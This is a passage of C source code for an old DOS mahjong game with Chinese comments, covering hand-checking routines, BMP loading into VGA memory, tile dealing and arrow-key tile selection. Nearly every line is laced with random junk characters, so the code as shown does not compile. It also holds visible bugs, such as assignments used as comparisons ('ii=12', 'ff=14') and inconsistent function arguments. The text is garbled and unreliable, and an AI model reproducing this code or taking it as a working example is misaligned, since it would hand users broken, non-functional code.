4 L/ h' p7 u8 W- D  p{test[j]=pi[i+j];
! k. |# o& f/ R& ]6 s/ e}
$ K* Z" x& W- c4 E; Cif(istwo(test))
; \9 S0 c5 H+ o3 N{ ill=0;6 Q' R; k. U2 |
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/# j8 K: Z, u) {  T0 U- A6 n
{if(kl==i)
' y0 S$ w# _- t) L0 Z* u4 E* ~{
2 o! z4 z& g% i7 }5 H' akl=kl+2;3 z6 ~5 D4 \5 C- l$ w$ A& [
if(kl==8)) t1 }0 S  _) E+ k# k
break;7 A- E4 p3 V- w- V
}
7 \8 i+ @3 ~0 H, ~8 M/ jtest[ill++]=pi[kl];/ r3 G5 t! J) a+ @2 x+ P$ ]
}( p- S( Z6 m4 U  V3 F: |7 m& S
isthree(test,ii-2);
0 y" ]/ {- G9 v) D}/ s2 L5 s0 t9 o0 Q
} * }2 |' ^& f2 Y2 w# W. k
else if(ii==9)& d+ H2 {8 U1 L* R% k0 u8 D: D; A
isthree(pi,ii);7 q  K) }$ V/ _( r
else if(ii==11)
& i7 i  n8 N; u7 P: o0 K) ^for(i=0;i&lt;10;i++): _9 |: _! P* e4 h- [
{8 k8 G+ e: |: H5 @$ Q
for(j=0;j&lt;2;j++); ~; X9 F9 d; W: k  z
{test[j]=pi[i+j];
, m4 {$ P6 o5 P4 W}! n5 _, N& z& P1 {! p
if(istwo(test)): a4 L3 M; n) K! N
{ ill=0;
4 \4 N5 C3 B. g: ~for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/( T& E! a: N( `2 I* ^' b5 X
{if(kl==i): D3 w" V  u$ ], Q: k3 _3 ]
{% }* w+ |4 ]* u; t3 n% c" W/ S
kl=kl+2;
' S8 `' p) D6 \$ Bif(kl==11)
9 z$ f) A5 d/ H* E7 j; S" bbreak;
& X; S8 F6 b1 O+ r' X3 O2 [}9 E% p5 b1 H/ M! D* ^# I) H/ ?
test[ill++]=pi[kl];
3 h* a) A) J5 A" e}  d; c1 D. e1 y. s. N) N1 s
isthree(test,ii-2); / {% [9 }9 R1 O) X
}/ Q3 ?% s! r/ h! C5 ?& r9 |
} - S- I+ k6 E% s4 w$ x
else if(ii=12)
/ ]" ~6 \" Z- b4 k& W7 |  o' listhree(pi,ii);* F# b& i  I  f0 F* G! l
else if(ii=14)
/ q* p/ D5 v* T) ]. Y$ `( X" Xfor(i=0;i&lt;13;i++)0 T! B$ H& Q* N- g) y
{
7 T9 d7 t3 W. v! g5 ^0 z- X0 x& Jfor(j=0;j&lt;2;j++)/ \7 I7 i$ `4 G# h3 h
{test[j]=pi[i+j]; 4 _9 O0 u) z9 P# S2 m
}1 y' Q+ h& u) }
if(istwo(test))
' ~7 T! G7 d( m/ _, C{ ill=0;" `1 C) |4 @% T
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/9 m% E4 A+ d+ c; S, c1 {
{if(kl==i)  U& r9 |1 q/ h! G* K7 t- }) P
{
! r6 u4 U5 f$ N) skl=kl+2;
3 K- B, J! D: ?+ L* c$ q0 hif(kl==14)4 n0 A9 {' n! T, x
break;  M3 ^; G) {% h- A' A5 x
}
! `# U0 U- r0 N+ V, k9 q! Ntest[ill++]=pi[kl];& M$ T& s( i( @$ N4 L9 }- x3 t" b
}
+ x/ @' m7 H( V. y5 X5 @3 `& qisthree(test,ii-2);
7 X) S# j5 R: C# Z* I# B9 B5 a}  _1 c! }8 h9 `. }
}
6 g0 u% v9 E, G- Eif(ff==2)0 X' M$ S# H  q9 X% L% {. [+ z4 O
istwo(pf);, [/ x8 T: v! `# \2 h  ~
else if(ff==3)
6 E  @0 b6 Q7 l3 r; q3 bisthree(pf,ff);
8 s6 e7 z* P3 l" yelse if(ff==5)
% {0 V9 \" ]0 i' k% o- x* a; }/*pf[5]原始牌数组,假设已经升序排列*/$ t2 [- d$ ]2 l' z/ a* O4 A  D( g
/*test[3]用来放置测试牌的数组*/% F9 F5 P5 K& X' N, I
for(i=0;i&lt;4;i++)
" s1 |) T1 z( J9 c{/ w0 l* S5 p$ A9 D6 a8 w! T/ I+ c
for(j=0;j&lt;2;j++)8 v, }9 n7 b+ A" ~3 a7 S) N
{test[j]=pf[i+j];
; I. j" \, }; K4 x}/ b6 V6 K  B. G1 x% s/ H' i, V
if(istwo(test))
/ f: S# u* n: |; ^{ ill=0;
5 q/ R/ g/ S- H) ~* n3 |# P3 ^& rfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/- ^' d/ z% b- @, _
{if(kl==i)
# M. m8 S8 f; J! K{
6 z( Q) h3 y; K2 r; h1 H# g2 Q! Fkl=kl+2;
' ]* E/ y7 K( B- |if(kl==5)
* A: D# p" a/ R, F0 y- x+ T2 h* c4 Bbreak;; _4 ~. d; S, b5 T* A; ?* n' v( B$ U
}6 ~3 h. P- s* W5 P
test[ill++]=pf[kl];
' ~# t' z" {/ _# [}
) A  M6 o; |, V, d, p( [" D' Aisthree(test);( \4 v4 A9 s/ M/ C% `2 a. Z3 X: L  R2 ?
}5 @( T+ D' l: w) l6 |
}: r2 t. z* X- a
else if(ff==6)9 F$ n: F1 u) q- s# P
isthree(pf,ff); # Y5 v8 _$ n+ u: w. u
else if(ff==8)% T* m5 a+ z* }9 y. ?9 C1 A
for(i=0;i&lt;7;i++), H( i5 H6 {5 n: G
{! {  f( R: R$ C) o) R* y( r
for(j=0;j&lt;2;j++)' ~" q0 s' i" |& t, ?
{test[j]=pf[i+j];
4 v3 M8 N" X" {) t2 v& H0 d}
1 G5 t) ?2 P7 s5 z* yif(istwo(test))9 C. K/ C$ P! e: W; d; K3 {  s
{ ill=0;
& }7 K" m" `- p! I  nfor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
  l& m! N9 E1 }$ s7 s2 C' y' I{if(kl==i)
1 z$ X& D. `$ t/ t{
  G* s  U+ h* J2 W1 [kl=kl+2;
$ k# R0 V1 S4 ^& t( \) e' Iif(kl==8)
5 O- e% C- g6 m0 V. Tbreak;
* K: j7 a3 j6 O; ?# {- r}6 u8 m$ W  a( I7 v& o, W
test[ill++]=pf[kl];8 l1 W2 s. V2 m5 F! Y
}
/ X1 |6 w0 K# f1 qisthree(test,ff-2); # P$ ]. T2 r+ O/ v0 G) m9 B
}# o+ b4 |$ C8 f" ~. }* e
}
; R5 O& N/ |! d9 F# Z" welse if(ff==9): [" p) U6 E% i" T* Y! p+ K# x
isthree(pw,ww);
5 ~. i. a# O3 m& @2 lelse if(ff==11)' ?2 w8 @- W( ]
for(i=0;i&lt;10;i++)
, l* m& N: {9 e2 U/ G. G0 j{4 w2 d" K. |. C' P( Q
for(j=0;j&lt;2;j++)
- D  i: ?( I- g. G, B" u{test[j]=pf[i+j]; 2 h4 f9 i5 f/ `5 p( A" J
}
7 D% Z5 H) C9 {, N4 L" Jif(istwo(test))$ i# w. b1 {( d! a0 F! C
{ ill=0;6 v% u5 p, V) s/ O- K
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
' j# W' ]! ~" Q1 {# U9 f. q2 M{if(kl==i)
6 J$ j3 I' y$ U/ N/ h% o{# R: w7 H: Y9 C) s# @8 }( o
kl=kl+2;* S/ ~3 H, E; f7 z( h
if(kl==11)) I3 ]) _4 l9 l( `) A" ]( s
break;
0 G/ g/ T% P( C+ K/ z1 F0 `5 q}7 i/ D5 }4 j- ^
test[ill++]=pf[kl];* l: M8 Q7 _6 e% R8 ]! T
}& c7 E; `( f# M: F. E9 n/ @  z9 U# M
isthree(test,ff-2); ) v$ \8 e( ]2 i% o* m0 \8 |3 c
}
) |) h7 ~3 ]3 u2 f8 X1 F} % C: N% n, w; o1 e/ X1 z/ F
else if(ff=12)
/ _" e4 N% f9 w9 @# F: d$ Sisthree(pf,ff);2 ]! h2 L. T8 D2 l9 o# P. G/ Z( V. R" ~
else if(ff=14)2 P( ]" b. o; Y$ j! v! }
for(i=0;i&lt;13;i++)
" z! l& v" i9 V4 w$ V4 g% ]{
1 B' N7 L4 ~0 d2 t' R* Hfor(j=0;j&lt;2;j++)
$ ~* g: ?8 u# V* ?# r{test[j]=pf[i+j]; " H" ]0 z- F6 l! u
}
( U* J7 \# f6 e) p$ E; Bif(istwo(test))
5 l/ ^+ i) v4 h/ p( t' J{ ill=0;. v. O8 U0 {# ?4 z! D9 m! |
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/+ z; P( ]8 P9 U) w! K- g2 d( z5 \
{if(kl==i)
" H. \# x* D! j, s9 r( l{6 \2 \6 c. S( P! F% ~& o5 a. \
kl=kl+2;! N+ }: x5 ]0 h. g, X5 V$ e. ?
if(kl==14)( a8 f/ [1 ^$ N# k* b% ~7 b
break;
7 N9 [6 e6 ^) h- ?0 ]}
; g# P: ~2 g6 b& w7 K$ B' C$ ]test[ill++]=pf[kl];, R6 l, f; y/ D9 i3 d4 a5 s
}
0 P! n5 Q2 I! `' m7 Risthree(test,ff-2);
  o4 S. x0 ^* g* k; H1 R}
) [8 W8 \: b+ z+ z+ h5 b}
* H' L) S- U3 F! J}
$ G; l  ?% r" M3 u9 V9 w$ O% tvoid main(void)
% u! ?5 k* K5 F% P& w2 }0 n/ ?{. B1 K  F$ k' @' Y& u+ z
FILE *bmp;3 j0 A, C: x: P7 f6 I! ^' A
static char *name[2]={"ff.bmp","logo.bmp"};$ X% B' U9 o2 c: v5 R& p! m
char *p;
6 P2 x- }: k: K2 pint *lingshi;
. x- D" d+ Z8 h+ u* X4 Kint x,y,i,j,t=2,cont=13,temp,n=0,onetothirteen=13,oneorthirteen=13,l=0,ll=0,kk,u;4 h! {3 }) s6 q
int every=0,w=0,x1,x2,y1,y2,every1=0;3 W7 [$ T8 c/ e: s9 W  h0 G- I
int logo,lg,lgg,logoo,b=0,c=0,pg=0,h,h1,g=0,kkk,kkkk,r=0,d,o=0,dwei=0,dweig=0,dw[3],nn;: ]  V) {: h9 S# ]& A) e$ S
BYTE palette[256][3];
, \8 w% x, P7 f- c9 VSETVGA;
( I! ~& y4 t, g( Y  agetch();
& }6 O. _$ C, Wwhile(t--)
. {3 @4 T3 b6 _4 k$ b/ z# z0 R1 }{/ z$ ~0 M' X2 E9 e
bmp=fopen(name[t],"rb");
8 A: d. g9 N6 D; l6 y9 ]; |fseek(bmp,54,SEEK_SET);9 O/ v) Q9 S0 c$ U
for(i=0;i&lt;256;i++)* h. g7 v: z+ |+ U' s2 y
{
) G' q. k; v' Opalette[2]=fgetc(bmp)&gt;&gt;2;: A. P) K3 d2 n1 c! H, `
palette[1]=fgetc(bmp)&gt;&gt;2;3 ?5 F1 ?) w: `* V, z. B# i
palette[0]=fgetc(bmp)&gt;&gt;2;  V! ~# h% |! [; r0 o* c* b9 Z
fgetc(bmp);
$ i" P; I' _1 ESet_Palette(i,palette[0],palette[1],palette[2]);
+ Y7 F& X+ T2 N$ l: }& S; Y- ^}
. d+ c) O  v; L9 sfor (y=0;y&lt;200;y++)" |* }/ w. u: M0 U/ C7 ^; G
for(x=0;x&lt;320;x++)
& O3 h+ Y0 L: \0 N% m# v* S4 Rpokeb(0xa000,y*320+x,fgetc(bmp));+ X0 s. t: F0 G$ D
fclose(bmp);7 {) D5 @  A+ v( P$ A& q5 P
getch();
9 x7 C. s- O4 ]. ~}
3 V# {8 A" a  b: {* u  g" Bgetch();
; Q, i' T0 Q& E( @+ RfillRectangle(0,0,320,200,0);5 W, X3 N# ^: n& W4 P
getch();. ~( x. L8 d/ P) s
randomize();& ]4 f" C- Z) U/ D* I1 g
me.m=onetothirteen;# F1 {; N( s- s/ n7 p& I, F) ?* l
while(me.m&gt;0) /*先循环,给自己拿牌*/
+ G$ u7 s) g& h  r$ u7 {{
% _: ~1 O0 Y5 f2 q$ N  |1 j' m5 y% y1 Z
temp=random(136);
  W! y6 ?  r9 B+ `if(m[temp].data2==0 &amp;&amp; m[temp].data1==0), \- R3 X- h) E5 J
{$ n7 s9 b# D0 d3 W
me.pp[n].k=m[temp].name; /*把136中之一的牌放到我的手上*/
" ^# B$ F( q0 t, Q$ U* i% X4 ]me.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/) y; `1 ~9 m+ \9 t0 n5 {7 c
me.pp[n].number=temp; /*第几张,用来排序*/3 R8 X. d3 u" u, I+ T
m[temp].data2=1; /*判断牌是谁的*/- z) j, C- o8 r
kk=1;
1 O1 b0 V4 c; O" D: y" J" j& e}
4 t! }) S. Y# g! Uif(kk==0) /*判断如果又选择了,就从新再选*/# L0 J+ [4 x7 {1 i' n3 `& s: R) C
{
+ E2 h; h. e: v+ {me.m++;
3 @: _4 M9 \" }5 C% [3 t4 ]n--;
: D; u- P0 Y, t}7 U+ l, k! T& o3 x" f; [; R7 I
me.m--;
. v$ y0 k- R9 L6 e, d# Xn++;
5 A: T( l8 c4 {kk=0;8 f% \! A+ i) J" j7 _  Z
}: N# K% Q- X& d( w+ F1 S+ k+ ^+ n
me.m=12;
- X" b5 o) L; `1 M) I' {, Y2 B+ Qmelipai(); /*理牌*/
' m0 ]$ f* i  r
% T4 W; S: ~* s/ `3 {; In=13;
' O; a0 |0 @, y' m5 k& e) V# }while(l&lt;n)" ^+ V3 p( C) A0 V, G
{
# K( s) [1 F. ~3 J& y# @z=z+20;7 x2 M2 ^& i6 ~: k5 U
showbmp(l);
& i3 ?( E, ^  U5 }" Fl++;
  b6 t2 J( n2 h9 `3 B6 q$ k
' e# ^# C$ G6 h}% X* v0 J0 X# q, F# A7 T
randomize();
! m8 O  C# N/ Z1 ^* o: k( C3 Ecomputer.m=oneorthirteen;
' z* G" k  |" S5 U+ O1 sn=0;( Y  _- _: i( C' Y2 }2 e
while(computer.m&gt;0) /*循环,给对方拿牌*/5 b9 a# H9 c" G$ z; X$ ]
{8 G6 O+ c& n6 Q
temp=random(136);* S4 q' z6 @% P6 x
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)2 W* b* F, ~, p( |) ~# H
{9 b) |/ U% f: c/ S/ L
computer.pp[n].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/3 m3 @8 V+ ]! @! E2 m. f
computer.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
) P' v6 D2 t; z! _: \  N6 zcomputer.pp[n].number=temp; /*第几张,用来排序*/
. o" q+ t  S9 A9 @m[temp].data2=2; /*判断牌是谁的,2为电脑*/
; q' w: i# \4 `* E( Akk=1;
+ f/ X$ A7 k0 ]* e}, O7 n% L; q- e! ~
if(kk==0) /*判断如果又选择了,就从新再选*/' m! @% @5 Z0 ^& o' n% I
{
- O* A" i2 u, O# G# M% @computer.m++;: r* W2 s# E( J4 h: g# I) i
n--;
, y) v; E$ W: W3 H" _1 k  C9 A% n; F% M}
2 F" Q  y- B' O- q" m  l8 [computer.m--;7 X- L" q% p* k' [2 h) e
n++;
2 n3 E( j. {) Rkk=0;6 n1 g2 M$ X2 i8 |
}  g% K/ G2 F, a4 a5 {$ M
computer.m=12;0 f0 A5 o5 ^( n
comlipai(); /*电脑理牌*/
! j, B9 P7 W& K9 xn=13;
4 S; X9 y' ^! ~while(ll&lt;n), [4 m+ C0 v3 O! ?# |6 {* ^
{$ c( n7 {  @, b7 u. j2 _6 |( E1 @
zy=zy+20;
# P; M! n( |* e9 {6 Wshowybmp(ll);
7 X0 _1 Z/ b0 @5 D) d- {0 _ll++;4 S" p% }  [3 e; [
}+ R  S7 ~' k& a, }

3 F+ x9 g/ P; Iz=54400;# J. L7 i. X7 I
while(key!=ESC)
  ]& D& j! x( L! J{ - k3 F% e+ N( v

% D5 F0 ?+ J! m& o" M+ Ykeyy=bioskey(0);
2 }) J1 y0 ~+ \2 @) Uif(keyy==LEFT)
/ {/ y, w- a& c" X( E  K{ w=1;4 z9 e% K. q' I8 @* \- d
if(every==0)# B9 ^  k6 A$ R# c% @3 D
{
: @  P4 e+ C& @* A9 u$ y! Vevery=1;
5 ^+ g5 N3 i; X6 ~6 fz=54440-5*320;+ N0 s$ M& }; a! K: q
1 ~, Y2 A9 s4 c2 h0 ~  i4 M7 C3 j4 D
}$ \, s/ z, N' J1 t' ]0 @& s+ K. f
zz=zz+5*320;( B7 g5 u1 [) _& G% v% F1 L
showbmp(every);
& ^' U+ u& t1 T: a# G& ~2 E( aif(every==0)
0 v/ s( n* b9 m' z! Y1 i9 \{
$ W2 I8 e- C: g5 V$ ?0 Y' |( m$ lx1=20;& ]8 T0 y2 Q2 Z0 ]
y1=165;% ?7 F: M8 f; C# j& C  H
fillRectangle(x1,y1,x1+20,y1+4,0);. g# U8 X0 Y; P8 h# m! K; r8 l
}1 A  t" k+ A% b+ u& V' s' H1 P
if(every==1). d* z& r! {7 V5 _( I! k( b9 ]
{# Z/ h) R: h: Q- _
x1=40;% \& \) u' E* z$ |4 Q1 _) F* f
y1=165;
' h, q% |  K4 h# DfillRectangle(x1,y1,x1+20,y1+4,0);
2 g/ h, u! @0 S5 r}
$ ?' I4 B2 i+ p4 Z$ W4 l/ Uif(every==2), }7 d% x. o7 s( f0 Q1 q. h
{! p7 O/ Z" V0 @- s* T
x1=60;
  O) |: U, e# k% e; Sy1=165;8 Y/ P* m# J. F
fillRectangle(x1,y1,x1+20,y1+4,0);/ s# a0 G3 \, m. S7 I8 X
}
: c6 Z4 ?/ b" r$ I; m7 bif(every==3)
" m8 b0 n% d8 e( V; V{0 ~$ l+ v7 Z5 l" W' u
x1=80;
  K# \) N8 |3 J$ A7 A! ?* `  Py1=165;( L% U9 m/ I0 K& b
fillRectangle(x1,y1,x1+20,y1+4,0);
$ _- c  J# ~3 |( V, h# Q}6 Q% d# C( C+ M( ?$ L  N$ u
if(every==4)
6 U/ h! N9 K' W. c/ a{
# V' C/ Z6 B. |x1=100;: |7 K) n. D7 u; f# y4 G
y1=165;
0 h$ {, u" y& M4 f9 ?( |fillRectangle(x1,y1,x1+20,y1+4,0);
7 d0 D2 f% f* W}$ p* Z$ R' z( L3 ?2 u& Z  y
if(every==5)
2 t/ z  ]* C1 [9 {" \* n# q{
  y( A* O, q. m; \) ]) k0 M9 Lx1=120;
" }# S7 [/ ?% _8 {! Y* ty1=165;
  z( \% H: u; v3 H; LfillRectangle(x1,y1,x1+20,y1+4,0);4 S8 m( \6 R/ u* E0 R6 @
}
$ _7 _& l( K% q0 g0 n+ Yif(every==6)
- c) l& j1 E4 q) K{6 O( B2 w" x- T' }7 f
x1=140;
+ N* _1 J! {* t3 hy1=165;4 B8 w# P" E0 D2 Q3 n' U
fillRectangle(x1,y1,x1+20,y1+4,0);
, I! C$ g+ k: A' I}: _% V0 a/ v9 y: A
if(every==7)9 S. r+ ^3 v6 _) Z4 h# I' a
{
$ I% r+ q& _1 Ux1=160;
  z. L" y" l. Y7 D( M+ ay1=165;3 a2 ^9 i, e0 ]; t! f! h) G
fillRectangle(x1,y1,x1+20,y1+4,0);
& _9 S9 q8 T5 a) T1 G$ |2 K}
4 t& K5 |0 F8 M* |4 Z+ x# e- L1 ?, hif(every==8)# R* a0 j3 g1 i& z- D. d
{! \1 l" T# V" I) \. n6 N' [9 ]' S, x
x1=180;' Z- J2 @" |4 d0 z6 E( S  F
y1=165;& {, a' X+ z& v+ @8 y2 R1 B+ _
fillRectangle(x1,y1,x1+20,y1+4,0);6 B9 u' L5 m" W
}
. s& O0 n2 k1 ]if(every==9); n3 s6 u" T6 T, u. ~- m, c' j
{. P: w5 ]) Y1 k$ ^6 h. F& l  T
x1=200;* B- z0 ?  D3 s; H6 e
y1=165;
9 L& w% X7 h( j+ P2 PfillRectangle(x1,y1,x1+20,y1+4,0);
9 g5 b/ a) i6 y- e$ ^8 z) @. @$ c1 b}% D* i6 r) Z0 J4 z1 g
if(every==10)$ y3 C: q1 A6 N
{
& k  i& d0 X8 K" U/ |8 Vx1=220;) c( \" F# g3 S. v( Z) x
y1=165;+ P+ u/ P2 v9 r7 q
fillRectangle(x1,y1,x1+20,y1+4,0);5 ?& m& c3 b7 _! q( ^& K  A
}. k0 B3 ?) U2 L) U' p/ X
if(every==11). r# ^* z2 T( i, c  E2 B: i2 {2 j
{
+ `" Q3 ~* V, K: D! v+ _x1=240;
  t# y1 Q0 [2 B( B2 Ey1=165;6 A$ l8 r; ]2 U" L# T# Q
fillRectangle(x1,y1,x1+20,y1+4,0);
( O# C" B+ _8 g& P! a}6 K3 k  K3 H( S1 \
if(every==12)% u. O; D/ k' T' y) W
{! a( {6 v" f; p2 f* c/ D. u
x1=260;2 D3 ^! P) T* D1 D. p
y1=165;
4 j/ _' J* }6 \$ {0 r3 @6 bfillRectangle(x1,y1,x1+20,y1+4,0);
, `! X0 d1 i( |* B9 P* P) c}. V$ w4 V* N* M5 B" Q1 @
zz=0;3 z: t% b7 V/ p) t" z
every--;
7 s8 V7 Z* }/ Xz=z-20;" R+ B' m3 p( y( Z  k
}
# M4 ~5 I  J6 ^& Z7 |# h+ Oif(keyy==RIGHT)
, T+ ?+ G3 m) }1 x/ L{ if(w==0)* D, C0 e  j8 u& N$ @* T
{) O' r8 T' b/ o. F5 N
z=54440-5*320;# m% j- r! ^, y" k0 G# K4 ^
z=z-20;6 h/ R+ c. f5 m& N; Z
w=1;  Y) p5 `% B/ B0 f
}+ o+ K: V3 I; ~5 J+ M, `
if(every==12)
( `; w$ h) A2 s$ U$ ~{
7 S; W9 |# k3 R& q$ Wevery=11;
+ k% A% i) F6 q' oz=54640-5*320;6 b, i% m% _* c% z2 ^' l1 j
}# Y0 {' n) \* v7 |
zz=zz+5*320;
: C* ~+ @8 q9 k; Eshowbmp(every);
$ Q* t9 K' W6 T9 N6 a' e) Uif(every==0)
( ^1 ?1 Q; r$ }: V# E{
4 P; Q4 v" z  t/ c" U" A  Ox1=20;
1 V3 _; L+ f+ j, y4 _" j- Ay1=165;
- S$ k2 p  T5 a+ a5 r1 {( ~- `fillRectangle(x1,y1,x1+20,y1+4,0);) B8 w2 F8 m( `; r6 F! }- N
}
& L; l' t- {; {! _. Mif(every==1)9 t) I7 g$ H! q1 i
{
9 L/ V, n0 [: sx1=40;8 t4 d* H& C* b; C" j7 Z' s/ D1 E
y1=165;
9 K' A1 G7 [+ g# b. d2 Y' `8 ?# wfillRectangle(x1,y1,x1+20,y1+4,0);0 ^! `/ Q9 E1 |' @" e
}
7 G* H1 z4 R5 q/ D* _0 T' Y" f8 _if(every==2)# o6 l. p0 l% h' E: j3 f
{+ n% o- q8 `$ {. N+ e9 P" d5 V2 G
x1=60;& q+ \" L2 w6 I4 c$ u
y1=165;
2 S9 N9 j3 W, c; c' _fillRectangle(x1,y1,x1+20,y1+4,0);) I7 G8 T+ I$ W  T  U# x- s
}
& m  K- e2 a9 s* eif(every==3)7 I$ u. W- @8 ^. i0 ?. ~% E7 Q/ s
{
' q% x8 u1 E1 S7 wx1=80;' Z3 W+ P! q- N, ~3 j8 Q
y1=165;
7 z. r5 F" N! o) u/ @fillRectangle(x1,y1,x1+20,y1+4,0);
3 F- U; ^! [* Y/ D: x}  F7 f" Y5 [3 @
if(every==4)7 C( x( ^9 @* D! E
{1 I! ^- u% O# n. E
x1=100;) \/ j* ^  [1 j
y1=165;9 P5 U  Q) K9 C8 x  x  l# T! v$ k
fillRectangle(x1,y1,x1+20,y1+4,0);- U3 F& A. ?, }! {: g' a' W
}2 ?' i8 w% W' C3 K
if(every==5)( @) c5 y4 A6 o3 W; Y
{
; @7 ]2 t. v, Cx1=120;# m' |$ O3 Q/ Z: Y' d7 f7 u
y1=165;
, w' U* @8 ~; [fillRectangle(x1,y1,x1+20,y1+4,0);
0 B/ f2 ~7 ~2 @/ |}
  v& k" \! w$ y/ U$ Wif(every==6)
# _1 D2 N; j2 B+ u{
- W- w( k# R  P( ux1=140;
; y$ o8 A! }% H7 }y1=165;0 H+ ~6 n% _6 J  x- P0 Y: M
fillRectangle(x1,y1,x1+20,y1+4,0);
5 c1 t! h: ~; f}: a! C% T% T( U; y
if(every==7); K4 J8 X. t% N5 l$ R1 e+ A
{
5 a7 y* ~8 `" N# B* ax1=160;
+ o3 ^) c8 y* y5 z  Ay1=165;" [4 B) ?: n/ ^
fillRectangle(x1,y1,x1+20,y1+4,0);! N# x6 j, W4 [) b+ |& ]
}
+ o$ l( ?4 ?( n7 p0 t' Pif(every==8)4 J. i( s+ c. O0 M
{
( ~* m9 L  g2 _x1=180;
# M" E6 {: c  p! p# cy1=165;" [' x  ?. d' ^
fillRectangle(x1,y1,x1+20,y1+4,0);
$ M2 p4 O9 y- ]1 M; V}) q& d% f" a7 `% S& \6 i3 A1 X
if(every==9)- y+ [8 M3 F& O
{
6 U5 [% W  ^; E8 V5 L7 |x1=200;$ K6 x; K- a5 d  f8 t/ e
y1=165;" P$ n" ]7 X# K" J* L* q
fillRectangle(x1,y1,x1+20,y1+4,0);
* E. F: J$ ~. H$ T- d  J}* O9 G  v( n4 N$ j4 H/ y0 V( |* ^
if(every==10); e  V1 z  t/ _5 W6 u; X, D, H
{7 W  Q) A) }% e) e6 q
x1=220;
0 c2 ~/ h: R1 v; j  }y1=165;
; d* x1 t, J+ b$ S( ZfillRectangle(x1,y1,x1+20,y1+4,0);
. o8 \- t1 c" G- N8 a' _}, h, ^: o- k6 ]$ H; u% l# X5 W" |
if(every==11)
5 n6 D+ y/ [- J  t{
8 ?( F6 L8 r/ n' M, h3 r) q5 Xx1=240;: U9 [% P7 T1 z3 [- |
y1=165;5 Z$ q! Q' x* z- m
fillRectangle(x1,y1,x1+20,y1+4,0);
- ?* f# [: @9 _* T9 Y* `8 e0 [}2 @3 c1 F+ f2 ?3 y
if(every==12)
& r# C: A  k/ w7 Q; \1 T{
/ |* p7 q; G) w) A8 Ex1=260;2 n2 g4 M5 }5 v& p" ?
y1=165;3 ^# L' R+ i  C. E& d9 m3 x1 K
fillRectangle(x1,y1,x1+20,y1+4,0);  W7 |* U2 e% Y: G
}: b; n( M8 m* p2 O3 D
9 e1 E/ A" h) g! U4 M; e1 c
zz=0;
+ R& {% L5 y& r* q& _' x5 ?every++;
7 N! {3 v* E* C- l$ R2 i+ cz=z+20;: s6 E( c: g0 ?: F3 T7 w, i
}
3 s# A' V; W2 L; ^5 ^! R6 l$ Qshowbmp(every);. s! `9 z' x" z8 m5 c& r. K) `
key=keyy;- A# ]4 f& I7 O$ K8 X8 g
if(keyy==ENTER)
9 Q- t& N; L* v! X{
. {2 m1 _, f1 o5 `rgzn(every); /*********************/
. x8 k, z  A' z$ Lif(sing==1) /*如果可以乓,做相应的处理*/' c1 x9 E/ l, W# |
{ : W8 l1 K# j  ]
kkk=0;+ D% C/ @$ Z1 n( t1 u% m
kkkk=0;
- g, Y8 r& \/ e  M  hwhile(kkk&lt;=computer.m)$ ~# V4 M  Q7 _0 G0 Z: _$ g
{
1 K( ?9 F! v; u9 {if(computer.pp[kkk].p!=1)* i/ ^" Y- o/ I! @2 |+ ~
{5 D' l3 i) }% Y: R5 q5 e0 i( c
comp.pp[kkkk].k=computer.pp[kkk].k;
: r4 L/ N1 c9 H+ R( b$ B' N5 vcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
  {6 i% x( G8 Tcomp.pp[kkkk].number=computer.pp[kkk].number;$ \- H; q2 ]  ]$ H$ x# d/ E
kkkk++;" K# X4 B( W) z0 E
}
8 W3 j4 y3 |# D! L7 gelse. I7 T9 t" c* `
{4 b& u+ [1 O& b) z) }; @
m[computer.pp[kkk].number].data1=1;
4 A+ j% Y5 [" |) @' i4 G3 j: qdwei=computer.pp[kkk].number;
. Y# x( f+ u& K1 Dcomputer.pp[kkk].p=0;
/ z% R- o9 S; I( z" @0 f/ L}
, E$ n7 A+ G* X1 t/ ekkk++;
) h* I8 H1 m% l0 |}8 [3 w2 x8 M* }( J& @
ll=0;
+ |% |  J+ E. p8 |) u" _+ q, c2 D+ ~
while(ll&lt;3)! p( C( ?* K' `  t) P$ Q
{ zl=zl+20;$ ^; C0 f  T1 @. m. z" R3 h, q0 }
bmpp(dwei); /*显示乓的牌*/
% o- \/ G. F' @, Ill++;4 n1 [: K6 R) N$ ]2 A
}8 M. w, w9 q+ g% O& |& K; h1 a6 S
) A7 t$ ~  f7 Z1 w# Q( }
zl=zl+9600-60;
+ f; n5 ^$ k0 N- S2 ]3 k. y+ ckkk=0;9 ]7 D% ~( L! Y  m" w% R
computer.m=computer.m-2;
: G+ n6 z6 C* m6 v- U& `4 ywhile(kkk&lt;=computer.m)' k0 l, T8 Z! h9 Y+ H$ v9 U% ^
{
& m# i  p' Y" ?7 v" \4 ecomputer.pp[kkk].k=comp.pp[kkk].k;+ t$ ^9 ^/ Q% K' d$ q
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
. b! z5 y4 O5 O& ecomputer.pp[kkk].number=comp.pp[kkk].number;
2 h( F) z& P# d/ `. @' O, ykkk++;. }. m: S! l5 [% c" ]4 y0 t
}
5 Q( \; ]% `6 }. [ll=0;
2 `+ |6 n; o4 A' n( @8 ctemp=random(computer.m); /*出牌等待完善*/5 m( z# `: C# V( i; v; D/ Y
zyy=zyy+9280+20;+ B2 y4 ~* u$ E1 ?- b9 j5 a  E, T
showcbmp(temp);3 g. Z& o! C& c: v  k
zyy=zyy-9280;
" o, @% j) t- K$ F/*****/& d7 U2 l5 P% f4 G+ a
rgznme(temp);
# b. e7 v1 l2 E% r4 vpanduan();
  W  B# k; E) T' y5 a1 _if(me.m==0), N/ L4 _5 y3 N  c- N
if(second==1 &amp;&amp; threes==0)7 W* x6 @4 M, ]0 Y5 e, c0 ]
printf("you win!");8 a0 P5 k- O6 x/ I
if(me.m==3)
$ O. m" \0 P  }, o  b5 a! iif(second==1 &amp;&amp; threes==1)
$ }/ s3 {% E8 h- O7 T. ?printf("you win!");
